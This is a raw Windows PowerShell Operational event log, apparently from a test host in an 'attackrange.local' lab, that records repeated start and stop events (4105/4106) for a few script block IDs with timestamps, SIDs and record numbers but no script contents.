Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647849
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647848
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647847
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647866
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647865
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647863
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647862
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647861
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647859
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647857
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647875
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647873
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647872
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647871
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647869
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647867
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647885
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647883
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647881
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647879
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647878
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647877
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647896
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647895
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647894
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647893
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647891
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647889
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647887
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647905
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647904
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647903
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647901
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647900
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647899
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
